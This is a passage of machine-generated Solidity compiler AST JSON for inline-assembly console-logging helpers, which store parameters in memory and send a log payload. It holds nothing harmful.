pe":"YulIdentifier","src":"386989:2:22"}],"functionName":{"name":"mstore","nativeSrc":"386976:6:22","nodeType":"YulIdentifier","src":"386976:6:22"},"nativeSrc":"386976:16:22","nodeType":"YulFunctionCall","src":"386976:16:22"},"nativeSrc":"386976:16:22","nodeType":"YulExpressionStatement","src":"386976:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"387012:4:22","nodeType":"YulLiteral","src":"387012:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"387018:2:22","nodeType":"YulIdentifier","src":"387018:2:22"}],"functionName":{"name":"mstore","nativeSrc":"387005:6:22","nodeType":"YulIdentifier","src":"387005:6:22"},"nativeSrc":"387005:16:22","nodeType":"YulFunctionCall","src":"387005:16:22"},"nativeSrc":"387005:16:22","nodeType":"YulExpressionStatement","src":"387005:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"387046:4:22","nodeType":"YulLiteral","src":"387046:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"387052:2:22","nodeType":"YulIdentifier","src":"387052:2:22"}],"functionName":{"name":"writeString","nativeSrc":"387034:11:22","nodeType":"YulIdentifier","src":"387034:11:22"},"nativeSrc":"387034:21:22","nodeType":"YulFunctionCall","src":"387034:21:22"},"nativeSrc":"387034:21:22","nodeType":"YulExpressionStatement","src":"387034:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"387080:4:22","nodeType":"YulLiteral","src":"387080:4:22","type":"","value":"0xe0"},{"name":"p1","nativeSrc":"387086:2:22","nodeType":"YulIdentifier","src":"387086:2:22"}],"functionName":{"name":"writeString","nativeSrc":"387068:11:22","nodeType":"YulIdentifier","src":"387068:11:22"},"nativeSrc":"387068:21:22","nodeType":"YulFunctionCall","src":"387068:21:22"},"nativeSrc":"387068:21:22","nodeType":"YulExpressionStatement","src":"387068:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46240,"isOffset":false,"isSlot":false,"src":"386544:2:22","valueSize":1},{"declaration":46243,"isOffset":false,"isSlot":false,"src":"386574:2:22","valueSize":1},{"declaration":46246,"isOffset":false,"isSlot":false,"src":"386604:2:22","valueSize":1},{"declaration":46249,"isOffset":false,"isSlot":false,"src":"386634:2:22","valueSize":1},{"declaration":46252,"isOffset":false,"isSlot":false,"src":"386664:2:22","valueSize":1},{"declaration":46255,"isOffset":false,"isSlot":false,"src":"386694:2:22","valueSize":1},{"declaration":46258,"isOffset":false,"isSlot":false,"src":"386724:2:22","valueSize":1},{"declaration":46261,"isOffset":false,"isSlot":false,"src":"386754:2:22","valueSize":1},{"declaration":46264,"isOffset":false,"isSlot":false,"src":"386784:2:22","valueSize":1},{"declaration":46230,"isOffset":false,"isSlot":false,"src":"387052:2:22","valueSize":1},{"declaration":46232,"isOffset":false,"isSlot":false,"src":"387086:2:22","valueSize":1},{"declaration":46234,"isOffset":false,"isSlot":false,"src":"386989:2:22","valueSize":1},{"declaration":46236,"isOffset":false,"isSlot":false,"src":"387018:2:22","valueSize":1}],"id":46266,"nodeType":"InlineAssembly","src":"386166:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":46268,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"387124:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":46269,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"387130:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":46267,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"387108:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":46270,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"387108:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46271,"nodeType":"ExpressionStatement","src":"387108:28:22"},{"AST":{"nativeSrc":"387155:273:22","nodeType":"YulBlock","src":"387155:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"387176:4:22","nodeType":"YulLiteral","src":"387176:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"387182:2:22","nodeType":"YulIdentifier","src":"387182:2:22"}],"functionName":{"name":"mstore","nativeSrc":"387169:6:22","nodeType":"YulIdentifier","src":"387169:6:22"},"nativeSrc":"387169:16:22","nodeType":"YulFunctionCall","src":"387169:16:22"},"nativeSrc":"387169:16:22","nodeType":"YulExpressionStatement","src":"387169:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"387205:4:22","nodeType":"YulLiteral","src":"387205:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"387211:2:22","nodeType":"YulIdentifier","src":"387211:2:22"}],"functionName":{"name":"mstore","nativeSrc":"387198:6:22","nodeType":"YulIdentifier","src":"387198:6:22"},"nativeSrc":"387198:16:22","nodeType":"YulFunctionCall","src":"387198:16:22"},"nativeSrc":"387198:16:22","nodeType":"YulExpressionStatement","src":"387198:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"387234:4:22","nodeType":"YulLiteral","src":"387234:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"387240:2:22","nodeType":"YulIdentifier","src":"387240:2:22"}],"functionName":{"name":"mstore","nativeSrc":"387227:6:22","nodeType":"YulIdentifier","src":"387227:6:22"},"nativeSrc":"387227:16:22","nodeType":"YulFunctionCall","src":"387227:16:22"},"nativeSrc":"387227:16:22","nodeType":"YulExpressionStatement","src":"387227:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"387263:4:22","nodeType":"YulLiteral","src":"387263:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"387269:2:22","nodeType":"YulIdentifier","src":"387269:2:22"}],"functionName":{"name":"mstore","nativeSrc":"387256:6:22","nodeType":"YulIdentifier","src":"387256:6:22"},"nativeSrc":"387256:16:22","nodeType":"YulFunctionCall","src":"387256:16:22"},"nativeSrc":"387256:16:22","nodeType":"YulExpressionStatement","src":"387256:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"387292:4:22","nodeType":"YulLiteral","src":"387292:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"387298:2:22","nodeType":"YulIdentifier","src":"387298:2:22"}],"functionName":{"name":"mstore","nativeSrc":"387285:6:22","nodeType":"YulIdentifier","src":"387285:6:22"},"nativeSrc":"387285:16:22","nodeType":"YulFunctionCall","src":"387285:16:22"},"nativeSrc":"387285:16:22","nodeType":"YulExpressionStatement","src":"387285:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"387321:4:22","nodeType":"YulLiteral","src":"387321:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"387327:2:22","nodeType":"YulIdentifier","src":"387327:2:22"}],"functionName":{"name":"mstore","nativeSrc":"387314:6:22","nodeType":"YulIdentifier","src":"387314:6:22"},"nativeSrc":"387314:16:22","nodeType":"YulFunctionCall","src":"387314:16:22"},"nativeSrc":"387314:16:22","nodeType":"YulExpressionStatement","src":"387314:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"387350:4:22","nodeType":"YulLiteral","src":"387350:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"387356:2:22","nodeType":"YulIdentifier","src":"387356:2:22"}],"functionName":{"name":"mstore","nativeSrc":"387343:6:22","nodeType":"YulIdentifier","src":"387343:6:22"},"nativeSrc":"387343:16:22","nodeType":"YulFunctionCall","src":"387343:16:22"},"nativeSrc":"387343:16:22","nodeType":"YulExpressionStatement","src":"387343:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"387379:4:22","nodeType":"YulLiteral","src":"387379:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"387385:2:22","nodeType":"YulIdentifier","src":"387385:2:22"}],"functionName":{"name":"mstore","nativeSrc":"387372:6:22","nodeType":"YulIdentifier","src":"387372:6:22"},"nativeSrc":"387372:16:22","nodeType":"YulFunctionCall","src":"387372:16:22"},"nativeSrc":"387372:16:22","nodeType":"YulExpressionStatement","src":"387372:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"387408:5:22","nodeType":"YulLiteral","src":"387408:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"387415:2:22","nodeType":"YulIdentifier","src":"387415:2:22"}],"functionName":{"name":"mstore","nativeSrc":"387401:6:22","nodeType":"YulIdentifier","src":"387401:6:22"},"nativeSrc":"387401:17:22","nodeType":"YulFunctionCall","src":"387401:17:22"},"nativeSrc":"387401:17:22","nodeType":"YulExpressionStatement","src":"387401:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46240,"isOffset":false,"isSlot":false,"src":"387182:2:22","valueSize":1},{"declaration":46243,"isOffset":false,"isSlot":false,"src":"387211:2:22","valueSize":1},{"declaration":46246,"isOffset":false,"isSlot":false,"src":"387240:2:22","valueSize":1},{"declaration":46249,"isOffset":false,"isSlot":false,"src":"387269:2:22","valueSize":1},{"declaration":46252,"isOffset":false,"isSlot":false,"src":"387298:2:22","valueSize":1},{"declaration":46255,"isOffset":false,"isSlot":false,"src":"387327:2:22","valueSize":1},{"declaration":46258,"isOffset":false,"isSlot":false,"src":"387356:2:22","valueSize":1},{"declaration":46261,"isOffset":false,"isSlot":false,"src":"387385:2:22","valueSize":1},{"declaration":46264,"isOffset":false,"isSlot":false,"src":"387415:2:22","valueSize":1}],"id":46272,"nodeType":"InlineAssembly","src":"387146:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"385913:3:22","parameters":{"id":46237,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46230,"mutability":"mutable","name":"p0","nameLocation":"385925:2:22","nodeType":"VariableDeclaration","scope":46274,"src":"385917:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46229,"name":"bytes32","nodeType":"ElementaryTypeName","src":"385917:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46232,"mutability":"mutable","name":"p1","nameLocation":"385937:2:22","nodeType":"VariableDeclaration","scope":46274,"src":"385929:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46231,"name":"bytes32","nodeType":"ElementaryTypeName","src":"385929:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46234,"mutability":"mutable","name":"p2","nameLocation":"385949:2:22","nodeType":"VariableDeclaration","scope":46274,"src":"385941:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":46233,"name":"uint256","nodeType":"ElementaryTypeName","src":"385941:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":46236,"mutability":"mutable","name":"p3","nameLocation":"385958:2:22","nodeType":"VariableDeclaration","scope":46274,"src":"385953:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":46235,"name":"bool","nodeType":"ElementaryTypeName","src":"385953:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"385916:45:22"},"returnParameters":{"id":46238,"nodeType":"ParameterList","parameters":[],"src":"385976:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":46320,"nodeType":"FunctionDefinition","src":"387440:1536:22","nodes":[],"body":{"id":46319,"nodeType":"Block","src":"387515:1461:22","nodes":[],"statements":[{"assignments":[46286],"declarations":[{"constant":false,"id":46286,"mutability":"mutable","name":"m0","nameLocation":"387533:2:22","nodeType":"VariableDeclaration","scope":46319,"src":"387525:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46285,"name":"bytes32","nodeType":"ElementaryTypeName","src":"387525:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46287,"nodeType":"VariableDeclarationStatement","src":"387525:10:22"},{"assignments":[46289],"declarations":[{"constant":false,"id":46289,"mutability":"mutable","name":"m1","nameLocation":"387553:2:22","nodeType":"VariableDeclaration","scope":46319,"src":"387545:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46288,"name":"bytes32","nodeType":"ElementaryTypeName","src":"387545:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46290,"nodeType":"VariableDeclarationStatement","src":"387545:10:22"},{"assignments":[46292],"declarations":[{"constant":false,"id":46292,"mutability":"mutable","name":"m2","nameLocation":"387573:2:22","nodeType":"VariableDeclaration","scope":46319,"src":"387565:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46291,"name":"bytes32","nodeType":"ElementaryTypeName","src":"387565:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46293,"nodeType":"VariableDeclarationStatement","src":"387565:10:22"},{"assignments":[46295],"declarations":[{"constant":false,"id":46295,"mutability":"mutable","name":"m3","nameLocation":"387593:2:22","nodeType":"VariableDeclaration","scope":46319,"src":"387585:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46294,"name":"bytes32","nodeType":"ElementaryTypeName","src":"387585:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46296,"nodeType":"VariableDeclarationStatement","src":"387585:10:22"},{"assignments":[46298],"declarations":[{"constant":false,"id":46298,"mutability":"mutable","name":"m4","nameLocation":"387613:2:22","nodeType":"VariableDeclaration","scope":46319,"src":"387605:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46297,"name":"bytes32","nodeType":"ElementaryTypeName","src":"387605:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46299,"nodeType":"VariableDeclarationStatement","src":"387605:10:22"},{"assignments":[46301],"declarations":[{"constant":false,"id":46301,"mutability":"mutable","name":"m5","nameLocation":"387633:2:22","nodeType":"VariableDeclaration","scope":46319,"src":"387625:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46300,"name":"bytes32","nodeType":"ElementaryTypeName","src":"387625:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46302,"nodeType":"VariableDeclarationStatement","src":"387625:10:22"},{"assignments":[46304],"declarations":[{"constant":false,"id":46304,"mutability":"mutable","name":"m6","nameLocation":"387653:2:22","nodeType":"VariableDeclaration","scope":46319,"src":"387645:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46303,"name":"bytes32","nodeType":"ElementaryTypeName","src":"387645:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46305,"nodeType":"VariableDeclarationStatement","src":"387645:10:22"},{"assignments":[46307],"declarations":[{"constant":false,"id":46307,"mutability":"mutable","name":"m7","nameLocation":"387673:2:22","nodeType":"VariableDeclaration","scope":46319,"src":"387665:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46306,"name":"bytes32","nodeType":"ElementaryTypeName","src":"387665:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46308,"nodeType":"VariableDeclarationStatement","src":"387665:10:22"},{"assignments":[46310],"declarations":[{"constant":false,"id":46310,"mutability":"mutable","name":"m8","nameLocation":"387693:2:22","nodeType":"VariableDeclaration","scope":46319,"src":"387685:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46309,"name":"bytes32","nodeType":"ElementaryTypeName","src":"387685:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46311,"nodeType":"VariableDeclarationStatement","src":"387685:10:22"},{"AST":{"nativeSrc":"387714:927:22","nodeType":"YulBlock","src":"387714:927:22","statements":[{"body":{"nativeSrc":"387757:313:22","nodeType":"YulBlock","src":"387757:313:22","statements":[{"nativeSrc":"387775:15:22","nodeType":"YulVariableDeclaration","src":"387775:15:22","value":{"kind":"number","nativeSrc":"387789:1:22","nodeType":"YulLiteral","src":"387789:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"387779:6:22","nodeType":"YulTypedName","src":"387779:6:22","type":""}]},{"body":{"nativeSrc":"387860:40:22","nodeType":"YulBlock","src":"387860:40:22","statements":[{"body":{"nativeSrc":"387889:9:22","nodeType":"YulBlock","src":"387889:9:22","statements":[{"nativeSrc":"387891:5:22","nodeType":"YulBreak","src":"387891:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"387877:6:22","nodeType":"YulIdentifier","src":"387877:6:22"},{"name":"w","nativeSrc":"387885:1:22","nodeType":"YulIdentifier","src":"387885:1:22"}],"functionName":{"name":"byte","nativeSrc":"387872:4:22","nodeType":"YulIdentifier","src":"387872:4:22"},"nativeSrc":"387872:15:22","nodeType":"YulFunctionCall","src":"387872:15:22"}],"functionName":{"name":"iszero","nativeSrc":"387865:6:22","nodeType":"YulIdentifier","src":"387865:6:22"},"nativeSrc":"387865:23:22","nodeType":"YulFunctionCall","src":"387865:23:22"},"nativeSrc":"387862:36:22","nodeType":"YulIf","src":"387862:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"387817:6:22","nodeType":"YulIdentifier","src":"387817:6:22"},{"kind":"number","nativeSrc":"387825:4:22","nodeType":"YulLiteral","src":"387825:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"387814:2:22","nodeType":"YulIdentifier","src":"387814:2:22"},"nativeSrc":"387814:16:22","nodeType":"YulFunctionCall","src":"387814:16:22"},"nativeSrc":"387807:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"387831:28:22","nodeType":"YulBlock","src":"387831:28:22","statements":[{"nativeSrc":"387833:24:22","nodeType":"YulAssignment","src":"387833:24:22","value":{"arguments":[{"name":"length","nativeSrc":"387847:6:22","nodeType":"YulIdentifier","src":"387847:6:22"},{"kind":"number","nativeSrc":"387855:1:22","nodeType":"YulLiteral","src":"387855:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"387843:3:22","nodeType":"YulIdentifier","src":"387843:3:22"},"nativeSrc":"387843:14:22","nodeType":"YulFunctionCall","src":"387843:14:22"},"variableNames":[{"name":"length","nativeSrc":"387833:6:22","nodeType":"YulIdentifier","src":"387833:6:22"}]}]},"pre":{"nativeSrc":"387811:2:22","nodeType":"YulBlock","src":"387811:2:22","statements":[]},"src":"387807:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"387924:3:22","nodeType":"YulIdentifier","src":"387924:3:22"},{"name":"length","nativeSrc":"387929:6:22","nodeType":"YulIdentifier","src":"387929:6:22"}],"functionName":{"name":"mstore","nativeSrc":"387917:6:22","nodeType":"YulIdentifier","src":"387917:6:22"},"nativeSrc":"387917:19:22","nodeType":"YulFunctionCall","src":"387917:19:22"},"nativeSrc":"387917:19:22","nodeType":"YulExpressionStatement","src":"387917:19:22"},{"nativeSrc":"387953:37:22","nodeType":"YulVariableDeclaration","src":"387953:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"387970:3:22","nodeType":"YulLiteral","src":"387970:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"387979:1:22","nodeType":"YulLiteral","src":"387979:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"387982:6:22","nodeType":"YulIdentifier","src":"387982:6:22"}],"functionName":{"name":"shl","nativeSrc":"387975:3:22","nodeType":"YulIdentifier","src":"387975:3:22"},"nativeSrc":"387975:14:22","nodeType":"YulFunctionCall","src":"387975:14:22"}],"functionName":{"name":"sub","nativeSrc":"387966:3:22","nodeType":"YulIdentifier","src":"387966:3:22"},"nativeSrc":"387966:24:22","nodeType":"YulFunctionCall","src":"387966:24:22"},"variables":[{"name":"shift","nativeSrc":"387957:5:22","nodeType":"YulTypedName","src":"387957:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"388018:3:22","nodeType":"YulIdentifier","src":"388018:3:22"},{"kind":"number","nativeSrc":"388023:4:22","nodeType":"YulLiteral","src":"388023:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"388014:3:22","nodeType":"YulIdentifier","src":"388014:3:22"},"nativeSrc":"388014:14:22","nodeType":"YulFunctionCall","src":"388014:14:22"},{"arguments":[{"name":"shift","nativeSrc":"388034:5:22","nodeType":"YulIdentifier","src":"388034:5:22"},{"arguments":[{"name":"shift","nativeSrc":"388045:5:22","nodeType":"YulIdentifier","src":"388045:5:22"},{"name":"w","nativeSrc":"388052:1:22","nodeType":"YulIdentifier","src":"388052:1:22"}],"functionName":{"name":"shr","nativeSrc":"388041:3:22","nodeType":"YulIdentifier","src":"388041:3:22"},"nativeSrc":"388041:13:22","nodeType":"YulFunctionCall","src":"388041:13:22"}],"functionName":{"name":"shl","nativeSrc":"388030:3:22","nodeType":"YulIdentifier","src":"388030:3:22"},"nativeSrc":"388030:25:22","nodeType":"YulFunctionCall","src":"388030:25:22"}],"functionName":{"name":"mstore","nativeSrc":"388007:6:22","nodeType":"YulIdentifier","src":"388007:6:22"},"nativeSrc":"388007:49:22","nodeType":"YulFunctionCall","src":"388007:49:22"},"nativeSrc":"388007:49:22","nodeType":"YulExpressionStatement","src":"388007:49:22"}]},"name":"writeString","nativeSrc":"387728:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"387749:3:22","nodeType":"YulTypedName","src":"387749:3:22","type":""},{"name":"w","nativeSrc":"387754:1:22","nodeType":"YulTypedName","src":"387754:1:22","type":""}],"src":"387728:342:22"},{"nativeSrc":"388083:17:22","nodeType":"YulAssignment","src":"388083:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"388095:4:22","nodeType":"YulLiteral","src":"388095:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"388089:5:22","nodeType":"YulIdentifier","src":"388089:5:22"},"nativeSrc":"388089:11:22","nodeType":"YulFunctionCall","src":"388089:11:22"},"variableNames":[{"name":"m0","nativeSrc":"388083:2:22","nodeType":"YulIdentifier","src":"388083:2:22"}]},{"nativeSrc":"388113:17:22","nodeType":"YulAssignment","src":"388113:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"388125:4:22","nodeType":"YulLiteral","src":"388125:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"388119:5:22","nodeType":"YulIdentifier","src":"388119:5:22"},"nativeSrc":"388119:11:22","nodeType":"YulFunctionCall","src":"388119:11:22"},"variableNames":[{"name":"m1","nativeSrc":"388113:2:22","nodeType":"YulIdentifier","src":"388113:2:22"}]},{"nativeSrc":"388143:17:22","nodeType":"YulAssignment","src":"388143:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"388155:4:22","nodeType":"YulLiteral","src":"388155:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"388149:5:22","nodeType":"YulIdentifier","src":"388149:5:22"},"nativeSrc":"388149:11:22","nodeType":"YulFunctionCall","src":"388149:11:22"},"variableNames":[{"name":"m2","nativeSrc":"388143:2:22","nodeType":"YulIdentifier","src":"388143:2:22"}]},{"nativeSrc":"388173:17:22","nodeType":"YulAssignment","src":"388173:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"388185:4:22","nodeType":"YulLiteral","src":"388185:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"388179:5:22","nodeType":"YulIdentifier","src":"388179:5:22"},"nativeSrc":"388179:11:22","nodeType":"YulFunctionCall","src":"388179:11:22"},"variableNames":[{"name":"m3","nativeSrc":"388173:2:22","nodeType":"YulIdentifier","src":"388173:2:22"}]},{"nativeSrc":"388203:17:22","nodeType":"YulAssignment","src":"388203:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"388215:4:22","nodeType":"YulLiteral","src":"388215:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"388209:5:22","nodeType":"YulIdentifier","src":"388209:5:22"},"nativeSrc":"388209:11:22","nodeType":"YulFunctionCall","src":"388209:11:22"},"variableNames":[{"name":"m4","nativeSrc":"388203:2:22","nodeType":"YulIdentifier","src":"388203:2:22"}]},{"nativeSrc":"388233:17:22","nodeType":"YulAssignment","src":"388233:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"388245:4:22","nodeType":"YulLiteral","src":"388245:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"388239:5:22","nodeType":"YulIdentifier","src":"388239:5:22"},"nativeSrc":"388239:11:22","nodeType":"YulFunctionCall","src":"388239:11:22"},"variableNames":[{"name":"m5","nativeSrc":"388233:2:22","nodeType":"YulIdentifier","src":"388233:2:22"}]},{"nativeSrc":"388263:17:22","nodeType":"YulAssignment","src":"388263:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"388275:4:22","nodeType":"YulLiteral","src":"388275:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"388269:5:22","nodeType":"YulIdentifier","src":"388269:5:22"},"nativeSrc":"388269:11:22","nodeType":"YulFunctionCall","src":"388269:11:22"},"variableNames":[{"name":"m6","nativeSrc":"388263:2:22","nodeType":"YulIdentifier","src":"388263:2:22"}]},{"nativeSrc":"388293:17:22","nodeType":"YulAssignment","src":"388293:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"388305:4:22","nodeType":"YulLiteral","src":"388305:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"388299:5:22","nodeType":"YulIdentifier","src":"388299:5:22"},"nativeSrc":"388299:11:22","nodeType":"YulFunctionCall","src":"388299:11:22"},"variableNames":[{"name":"m7","nativeSrc":"388293:2:22","nodeType":"YulIdentifier","src":"388293:2:22"}]},{"nativeSrc":"388323:18:22","nodeType":"YulAssignment","src":"388323:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"388335:5:22","nodeType":"YulLiteral","src":"388335:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"388329:5:22","nodeType":"YulIdentifier","src":"388329:5:22"},"nativeSrc":"388329:12:22","nodeType":"YulFunctionCall","src":"388329:12:22"},"variableNames":[{"name":"m8","nativeSrc":"388323:2:22","nodeType":"YulIdentifier","src":"388323:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"388426:4:22","nodeType":"YulLiteral","src":"388426:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"388432:10:22","nodeType":"YulLiteral","src":"388432:10:22","type":"","value":"0xf45d7d2c"}],"functionName":{"name":"mstore","nativeSrc":"388419:6:22","nodeType":"YulIdentifier","src":"388419:6:22"},"nativeSrc":"388419:24:22","nodeType":"YulFunctionCall","src":"388419:24:22"},"nativeSrc":"388419:24:22","nodeType":"YulExpressionStatement","src":"388419:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"388463:4:22","nodeType":"YulLiteral","src":"388463:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"388469:4:22","nodeType":"YulLiteral","src":"388469:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"388456:6:22","nodeType":"YulIdentifier","src":"388456:6:22"},"nativeSrc":"388456:18:22","nodeType":"YulFunctionCall","src":"388456:18:22"},"nativeSrc":"388456:18:22","nodeType":"YulExpressionStatement","src":"388456:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"388494:4:22","nodeType":"YulLiteral","src":"388494:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"388500:4:22","nodeType":"YulLiteral","src":"388500:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"388487:6:22","nodeType":"YulIdentifier","src":"388487:6:22"},"nativeSrc":"388487:18:22","nodeType":"YulFunctionCall","src":"388487:18:22"},"nativeSrc":"388487:18:22","nodeType":"YulExpressionStatement","src":"388487:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"388525:4:22","nodeType":"YulLiteral","src":"388525:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"388531:2:22","nodeType":"YulIdentifier","src":"388531:2:22"}],"functionName":{"name":"mstore","nativeSrc":"388518:6:22","nodeType":"YulIdentifier","src":"388518:6:22"},"nativeSrc":"388518:16:22","nodeType":"YulFunctionCall","src":"388518:16:22"},"nat